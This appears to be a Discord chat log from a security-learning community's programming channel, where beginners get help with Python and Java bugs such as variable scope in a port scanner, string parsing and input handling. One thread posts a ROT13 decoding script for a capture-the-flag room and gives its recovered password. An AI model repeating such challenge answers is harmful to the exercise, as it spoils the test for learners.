print("==================================================================================")
print (" ")
wondering if anyone could help me add a hex conversion after the first shift key so choosing the second shift key will shift in hex and the same for decrypt
if not thanks anyway
Not your bro
k1 = int (input("Enter Shift amount that you used for encryption: ")) k2 = int (input("Enter Extra shift amount that you used for encryption: ")) key = k1 + k2 this seems totally pointless
Seeing as your encrypt and decrypt both take a key in the same way, you should pass them the key as an argument for both instead of having one ask for the key and the other take it as an argument
thank you brother james
Gave +1 Rep to @onyx merlin
Very much not your brother either
In this video, I tell you the best IDE to use for programming. No matter what kind of programming you do.
📚 Video courses from JomaClass:
🎓 New to programming? Learn Python here: https://joma.tech/35gCJTd
🎓 Learn SQL for data science and data analytics: https://joma.tech/3nteQih
🎓 Data Structures and Algorithms: https://joma.tech/2W89H33
Music ...
public static String retractURL() {
int startIndex = data.indexOf("\"url:\"");
int startURL = data.indexOf("\"", startIndex);
int endURL = data.indexOf(("\""), startURL);
return data.substring(startURL, endURL);
}```
anyone gets why this substring is empty?
Am I escaping the characters wrong?
ok I did a test it seems to not find the startIndex
Have you looked at the values of startURL en endURL ? Maybe the offset for the endURL indexOf needs a +1 to make sure you are not looking at the first " again
sure its "url:" and not "url": ?
Well now you know for next time and if you make another 100 of these mistakes and find the solution you won't be a noob anymore 😉
I get a feeling that in a way I will always be a noob 😄
Here's a challenge for you; do it again with regexp 😉 see regexr.com to trial and error 😉
yeah I've learned about regex but I don't use it as often
Only when the search is complex
Regex is rough
Hard to debug it too, unless everyone working on the project knows regex well enough
Regex is nice though cause you get things faster
Definitely, it's just unclear what certain regex does
So your commenting/documentation needs to be better in case you ever want to adjust it
public static String extractURL() {
int startIndex = data.indexOf("\"url\":");
int startURL = data.indexOf("\"", startIndex + 5);
int endURL = data.indexOf(("\""), startURL + 1);
return data.substring(startURL + 1, endURL);
}```
I did this instead lol
i got the link I needed so we good
Haha, I once wrote an Instagram bot that actively parsed HTML using Regex
That's what happens to people who parse JSON/XML/HTML with regex. Once per year on Markup Eve.
My first ever C# project. It was glorious and absolutely terrible
I need to learn C# at some point
I don't use it anymore now, gave it up like 10 years ago. Mostly work in Go nowadays
Go!
Indeed
That's a cute language 🙂
Yay finished my project 😄
Agreed, if your parsing HTML/XML/JSON you should just use the libs to parse those and navigate the dom/nodes/object
Working with Nokogiri on Ruby ❤️
Hi there!
can anyone do this task
extract ifindex of any interfaceAlias using python from the os.system() output of this command>>
powershell -command "Get-NetIPInterface | select ifIndex,InterfaceAlias,AddressFamily,ConnectionState,Forwarding | Sort-Object -Property IfIndex | Format-Table"
You even added a cool factor 😂
Gotta start somewhere! 😎
Hello, I've got a simple question. I'm having this problem,
I want to use the length of a list + 1 to make my new list so for example the list LIST I want to do this
- LIST = list(range(1, LenLIST + 1))
- LenLIST = len(LIST)
But the problem is LenLIST is not defined yet when trying to run the first line, but if I switch them around LIST is not defined yet.
This is in python btw
I think I fixed it by doing this
Goalnum = []
Goalnumlen = []
for number in Goalnum and number in Goalnumlen:
Goalnum = list(range(1, number + 1))
Goalnumlen = number
if you saw that huge block from me nvm i fixed it
`def encode(pwd):
enc = ''
for i in pwd:
if ord(i) > 110:
num = (13 - (122 - ord(i))) + 96
enc += chr(num)
else:
enc += chr(ord(i) + 13)
return enc
password = "pureelpbxr"
ans = ''
test = "qwertyuiopasdfghjklzxcvbnm"
for i in password:
for j in test:
ra = encode(j)
if ra == i:
ans += j
break
print(ans)`
so whats the point of "for i in password:" showing up before "for j in test:"
Think about what it would do. the code doesn’t seem to make a lot of sense to me, tbh
It'll take p and and every letter of test one at a time and the encode that j if that encoding matches i ... it'll add to the the answer variable and soo on...the next will be for u and then r
The code is for Cooctus Stories room
i mean it works
im trying to understand it
because im learning python atm
hmm, interesting
but would there be a difference in the result if you put for j in test: before for i in password: ?
Basically it's comparing every index value of that string with encoded index of test...if that matches will bring you the output
The time taken will be much more...the reason length of test is much more than the password
but still the same result?
It can...but the process will be too long as it'll take first index of test and then encode it and compare with every index of password
Which makes no sense
lemme try changing the order and ill send the result
hmm, why did that happen
btw this is after changing the order of the for's
Show your code
hey whats ur opinion on learning python from pentester academy or any other good resourses
`#!/usr/bin/python3
def encode(pwd):
enc = ''
for i in pwd:
if ord(i) > 110:
num = (13 - (122 - ord(i))) + 96
enc += chr(num)
else:
enc += chr(ord(i) + 13)
return enc
password = "pureelpbxr"
ans = ''
test = "qwertyuiopasdfghjklzxcvbnm"
for j in test:
for i in password:
ra = encode(j)
if ra == i:
ans += j
break
print(ans)`
this is after changing the order
of the for's
if i switch it back to normal
i get the correct answer
which is cherrycoke
yk, one of the tricks ive learnt is, whenever you're unsure about what the codes does.. just print out the variables, it will give you a simple yet a vague idea about whats happening
[Although ive never used this for a very big or a very small piece of code.. ]
Also this is irrelevant in this situation lmao
The order of printing
If your first index of test get's matched with your any index of password it'll print
; means it's a comment. Comment telling var_8h of type int32 is stored at rbp-0x8
It's like telling offset of variables ig
@fading lark ^
ohh okay
thanks
Gave +1 Rep to @remote echo
trying to stuff python into my brain to really master it. but it's taking away from my study on thm. would it be feasible to combine the two? tackle some easy boxes, but automate everything i'm doing with python scripts? or would that be a waste of time?
during my studies i did come across a python script that automated the entire enumeration of a network. so i'm wondering if it's possible (worth while from a study stand point) to automate an entire attack.
this looks like a lot like a problem from a ctf i've done 🤔
I need help
#!/usr/bin/env python
import math
def ptbac2(a,b,c):
#if(a,b,c<=-1000) or (a,b,c>=1000): return "NO"
if(a==0):
if(b==0):
print("NO")
else: print(-c/b)
return
delta=b**2-4*a*c
if (delta > 0):
x1=(-b+math.sqrt(delta))/2*a
x2=(-b-math.sqrt(delta))/2*a
if(x1<=x2): print(x1,x2)
else: print(x2,x1)
elif(delta==0):
return (-b/2*a)
else:
return("NO")
a,b,c=[int(x) for x in input().split()]
print(ptbac2(a,b,c))
input: 1 -3 2
output: 1.0 2.0 None
How do I remove None from my output?
Gave +1 Rep to @west abyss
lmao
rip no rep for you
all good
sorry Potat0 for randomly pinging you btw
I need help with python again
I want to get input from user. They will enter 3 variables: a,o,b and they are separated with spaces. With a,b being float values, and o is operator. How do I do that?
ex:
input: 1 + 3
output: 4
I tried this:
a,o,b=[ float(x) for x in input().split() ]
But obviously i got the error: ValueError: could not convert string to float: '+'
Treat them as strings immediately, convert only a and b to floats
Gave +1 Rep to @onyx merlin
Don't beat yourself up over it, this is something you'll learn with practice.
I should ask less
That comes with experience
But the one major skill I'd recommend practising now is rubber duck debugging
Yes
It's a core skill IMO
woa, k imma take a look at it after i finish this coding exercise. Thanks
Hi, I need help again ;-;
a,o,b=[ str(x) for x in input().split() ]
How do I check if a variable or more is missing input from the user?
I did
But if that case happens then i get this error ValueError: not enough values to unpack (expected 3, got 2)
So maybe you need to break that out from a single line
One liners are great until you need to handle different situations
Nah nevermind. There is no case for such thing
Thanks again James
Hey guys anyone able to help me with a problem in python?
what is the script for?
Port scanner
Easy port scanner
I’m getting a name error even though it is defined
show the error and ur code
Can you video chat?
no
I can share screen
post it here
!docs verify
you have verify yourself first
¯_(ツ)_/¯
yep, was asking what the code meant
Tryhackme-discord token or are you pasting discord token?
yep!
pretty sure it's from an active ctf though?
i pasted it in the bot thing
yep to what?
can't remember which it is from because i didn't take notes tho
wait really?
i might be wrong about that
oh sorry do i delete the code
dm me and tell me whih ctf it's from
.. which token?
just says your discord token is:
got it
Just confused on why it’s giving me the error when it’s defined above
@thin shoal
try with python3 scanner.py 192.168.0.1
Still same
lmao ok so basically u defined the variable target inside the if statement thats why
The key word is scope
put print scanning inside the if statement
the entire port scan would be inside the if statement
Okay
your If condition isn't statisfying
Trying that
or you could just exit the program if its invalid
Jayy it's the variable scope but ok
even if it satisfied it wont work
yeah out of scope
hm? Yeah, I know. Thats why I said you could exit the program if it didn't satisfy the if / else statement
i thought i would code it for him but then changed my mind lol
cuz yk better to learn by ur own hands
Yeah, but that doesn't address the problem. It wouldn't fix it because the variable would be destroyed after the if statement
The scope of target is just the if statement
Define it before the if statement to give it global scope.
if len(sys.argv) == 2:
target = <whatever it is>
else:
print("Please give a target")
exit(0)
Jayy. Plz.
also, you could've just copy pasted the code here.. there was no need for verifying but hey!. welcome to the community
:((
@vocal canyon try using click or argparse instead for making the cli usage better
Python weird
Java best
no
Java isn't that bad
Its not going "dead" and it has got pretty decent updates over the time
its bad but its not that bad and its not going anywhere for a good amount of time
it will stay and haunt everyone.
I need a hint, if you can spare your time ^^
Our earth takes 365.25 days to make a full circle around the sun but this number has been rounded up, the exact day the earth needs to circle around the earth is 365.2425 . The difference between these values is 0.0075 . Therefore when multiplying 365.2425 by 400. We get an additional of 3 days. Then we can say that every 400 years, we will have 97 leap years (24+24+24+25). Write a program that checks if the value "year" from the user's input is a leap year
I tried to figure out but I give up. Can someone gives me a hint?
Btw I translated the question from Vietnamese, So sorry cause there maybe are mistakes in grammar
uhh google "Leap year program in ____ language" , i guess you'll find some answers/codes/explanation
oh that's easy
Oh okay
Woops, sorry, I miss read that - my bad 😅
also python weird, I maintain
it is, i agree
This is annoying lol
Whats up?
Nvm, it wasn't
btw is it a good idea to remake hashcat in cpp?
with the open64 sdk?
only for amd gpus
cuz thats what i have atm
No I think that's not a good idea
explain
GPU programming is annoying
IMO for projects, you want some novelty to them.
Something that your project does differently to existing solutions
cant think of anything atm tbh, mind giving an idea "related to hacking problems" that can be solved with cpp according to ya?
or doesnt have to be cpp specific , just gimme problems
will try to do it in any lang ik if possible
if anyone has an idea about it feel free to ping me
the amdappsdk is pretty good, but learning OpenCL is not trivial. The hello world example project for OpenCL takes about an hour to do, if you don't have dependencies to troubleshoot.
Related to hacking is such a broad and abstract use case. If you want to learn c++, pick something that has interest to you, not necessarily something "hacking adjacent".
ummm...hacking adjacent is what grabs my interest tbh , like a cve i can create a poc of or an exploit or something as such
agreed
😂
@thin shoal Let's not be mean though
Target needed to be inputted
-_- told ya to try that 192.168.0.1 for a reason
Target meaning
Python scanner.py “IP”
Yeah it was working the first time for some reason -_-
Python needs to be spanked
Then it sounds like you already know where to start. Why did you ask for project ideas?
cuz wasnt sure about it when i asked two mins ago xD, sorry about that
There's also a pin with a bunch of project ideas
Guys how can I take 2 inputs in one line?
And I want the first one to be int , 2nd to be float
python btw
Sorry for late reply
uh ..
[input() for i in range(2)] ..?
x,n=[int(x) for x in input().split()]
This is what i've been using
Most not-totally-garbage languages allow you to split input on a delimiter. Specifically, you are looking for string stream and input libraries.
uhh idk but i think this will make this str
no it will be a list
hmm
Potato's list comprehension should generate a list of string objects
ye ye,, but it will come out as a list.. then they can iterate over it
x,n=[(x) for x in input().split()]
x=float(x)
n=int(n)```
Yeah, I get what you mean. However, that is prompting for separate inputs. My reading of the ask is to read multiple values from a single input. Reading from stdin can be done with a generator pattern, or reading from stdin once and splitting on a delimiter
I did this and i think it works
But it doesn't look pretty-organized in one line of code
But who cares btw. Thanks guys
x,n = [int(input()) if i == 0 else float(input()) for i in range(2)]
you can go like this ig, but thatd not really be efficient in any way
Thanks
Gave +1 Rep to @vernal vigil
what if "your inputs changed from 2+" or u inputted a float first then a int..
it wont really work.. bcz.. ree
I see
I think I'll stick with this
U took long to find that
yeah lmao
I think my brain is dying
Can you guys give me a hint on how to solve this?
Input: float(x) int(n)
output: float(s)
Example:
input: 2 2
output: 4.00
My code (sorry im kinda noob)
But I got different output
yes
just... return math.e ezpz
You can always convert a series calcuation to the closed form as well.
the equation is like output == (x^n / n) for n in some range
and add the result to previous outputs..?

Hmm can you see my code?
I don't know what's wrong
Changed to while loop and now it works
Have no idea
I think for in range loop stops when m is equal to n
Anyway thanks
No offence but your code is almost impossible to read
Yeah I do not like those variable names
^
uh, i didnt read the code .. i just gave that equation to you and went off, my bad..
but ye agreed ^ gib good names



